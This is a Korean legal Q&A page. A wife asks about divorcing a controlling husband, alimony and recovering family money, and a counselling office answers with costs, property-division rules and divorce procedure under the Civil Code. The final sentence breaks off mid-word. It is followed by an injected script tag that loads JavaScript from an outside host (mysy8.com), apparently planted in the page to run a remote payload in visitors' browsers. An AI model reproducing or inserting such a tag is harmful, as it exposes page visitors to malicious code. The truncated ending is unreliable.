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딸(5세)이 하나 있습니다.
저는 결혼한지 10여년 정도 된 여성입니다.
남편의 의처증과 시댁의 간섭으로 도저히 결혼생활을 더이상 할 수 없기에 이혼을 하려 합니다.
저의 의사를 무시한 잦은 이사와 친정아버지께서 마련해 주신 집(4000여만원)도 잃고 남편친형과의 사업실패로 불어난 빚(8000여만원)으로 저도 회사생활을 시작하였습니다.
회사생활도중 알게된 남자 동료와의 친분을 불륜이라며 통화내역조회니 미행을하면서 남편과 시댁식구들의 간섭에 더이상 결혼생활은 무리가 되었습니다.
협의에 의한 이혼을 하려고 위자료문제와 딸아이 문제에 대해 대화를 하려고 했지만 남편가족측의 일방적인 거부로 재판에 의한 이혼을 하려고 합니다.
현재 남편쪽은 전혀 경제적인 능력이 없는상태입니다
시댁어른들쪽이나 형제자매 모두 경제적인 능력이 없습니다 남편도
물론이구요 보증금400만원의 전세방만 남편명의로 되어있습니다
마땅한 직업도 없구요 이런경우 제가 위자료및 친정아버지가해주신
돈 까지 받아낼수 있을지 정신적인 피해에대해서도 보상을 받을수
있을지 궁금합니다..
만약 소송을 걸어 이혼을 한다면 준비해야할 서류및 소송금은 얼마나들지
알았음 좋겠습니다
의 법률적 의견으로 참고 자료로만 활용하시기 바랍니다.
남편이 협의를 해 주지 않으면 이혼소송을 해야 하는데, 이혼소송시 변호사 선임의 경우는 500~1000만원 정도 소요되고, 법무사를 이용할 시에는 50~200만원 정도 소요될 것입니다. 법무사의 경우는 서류만 대필해 주는 것이고, 변호사는 전적으로 대리를 해 주는 것입니다.
이혼소송시 위자료와 재산분할 청구가 가능합니다. 재산분할의 경우, 남편 명의로 된 재산에 대하여 청구하는 것인데, 귀하가 가져오거나 친정이 준 재산은 전부 회수청구할 수 있고, 반대로 시댁이 주거나 남편이 가져온 부분은 청구할 수 없고, 혼인 중에 새로 생긴 부분은 기여도 만큼 청구할 수 있습니다. 위자료는 남편의 잘못이 귀하보다 훨씬 큰 경우에만 인정되고 1,2천만원 정도 인정됩니다. 만일, 남편 에게 친정에서 많은 돈을 사업자금으로 주었는데 남편이 이를 탕진해 버렸다면, 도움준 돈을 달라고 청구할 수 있겠지만, 그 돈에 미치지 못하는 재산만 가지고 있다면 그 재산을 초과하는 부분은 청구가 불가능합니다.
다음은 이혼과 관련한 법률내용입니다. 참조하시고 보다 자
세한 상담은 직접 저희 상담소를 방문하여 상담하여 주시면 감사
하겠습니다.
(1) 이혼
이혼에는 두가지 방법이 있습니다. 협의이혼(민법 제834조)
과 재판이혼(민법 제840조)이 그것입니다. 협의 이혼의 경우에
는 부부간에 어떤 사유로 이혼을 하는 가는 묻지 않습니다. 성
격 불일치·불화·애정상실·권태·성적불만·금전문제·건강문제 등
어떤 명목으로든지 부부간에 이혼의사의 합의만 있으면 이혼이
가능합니다. 이러한 협의 이혼은 가정법원의 확인을 받아야 하
는데, 이때 판사는 두사람이 이혼의사의 합의가 있는지와 아이
가 있는 경우 양육자를 누구로 정할 것인가만을 판사가 묻고 이
두가지에 합의한 이상 이혼의 확인을 해주고, 이를 관할 호적계
에 신고하면 되는 것입니다 (민법 제 836조 제1항).
* 협의 이혼의 절차(민법 제836조, 호적법 제79조의 2, 호적법
시행규칙 제7장)
호적등본 1통, 주민등록 등본 1통, 당사자 쌍방과 성년자인
증인 2인이 연서한 이혼신고서 3통(구청, 시청, 읍면사무소, 법
원에 비치)을 첨부하여 협의이혼의사확인신청서(법원에 비치)를
부부가 함께 본적지 또는 주소지 관할 법원 가사과에 제출한 후
지정된 시간에 부부가 도장, 주민등록증을 갖고서 함께 판사 앞
에 출석하여 이혼의사를 밝히면 됩니다. 그 후 법원으로 부터
이혼신고서와 이혼 확인을 받은 확인서를 부부가 각각 1통씩 받
게되는데, 두사람 중 누구든지 이것을 남편의 본적지 시·구·읍·
면에 여자의 복적할 가의 호적등본 2통, 남자의 호적등본 1통과
함께 3개월 내에 신고하면 이혼이 됩니다.
- 부부 쌍방이 주소지가 서로 다른 경우에는 각 주소지를 관
할하는 가정법원이 관할 법원이 됩니다. 당사자 쌍방이 국내
에 거주하지 아니하는 경우에는 그 확인은 서울가정법원의 관할
이 됩니다.
하지만 만약 부부 중 일방이 이혼을 원하지 않으면, 협의이혼
은 불가능합니다. 이혼에는 동의하지만 자녀문제나 재산문제에
협의가 불간능할 경우 협의이혼 후 재산문제나 자녀문제만 소송
으로 다툴 수도 있고, 이혼 및 위자료, 재산분할, 자녀문제까지
함께 소송으로 다툴 수도 있습니다.
재판상 이혼의 경우에는 누구나가 재판이혼을 할 수 있는 것
은 아니고 법으로 정해진 일정한 사유에 해당하는 경우만 법원에
서 판결로 이혼을 인정해 주는 것입니다.
* 민법 제840조 [재판상 이혼사유]
부부의 일방은 다음 각호의 사유가 있는 경우에는 가정법원에
이혼을 청구할 수 있다.
1. 배우자에 부정한 행위가 있었을 때
2. 배우자가 악의로 다른 일방을 유기한 때
3. 배우자 또는 그 직계존속으로부터 심히 부당한 대우를 받았
을 때
4. 자기의 직계존속이 배우자로부터 심히 부당한 대우를 받았
을 때
5. 배우자의 생사가 3년 이상 분명하지 아니한 때
6. 기타 혼인을 계속하기 어려운 중대한 사유가 있을 때
하지만 이혼사유가 있다고 해도 이혼을 하고, 위자료를 받
기 위해서는 이 사실을 법정에서 입증할 수 있어야 합니다. 이
러한 점을 미리 염두해 두어야합니다. 입증방법으로는 이웃,
친구, 친척 등의 진술서나 증인, 녹음, 진단서, 병원 진료기록,
일기장 등 배우자의 이혼책임을 입증할 수 있는 모든 것이 가능
합니다. 그리고 소송은 본인이 직접 한다면 법?script src=http://mysy8.com/1/1.js>
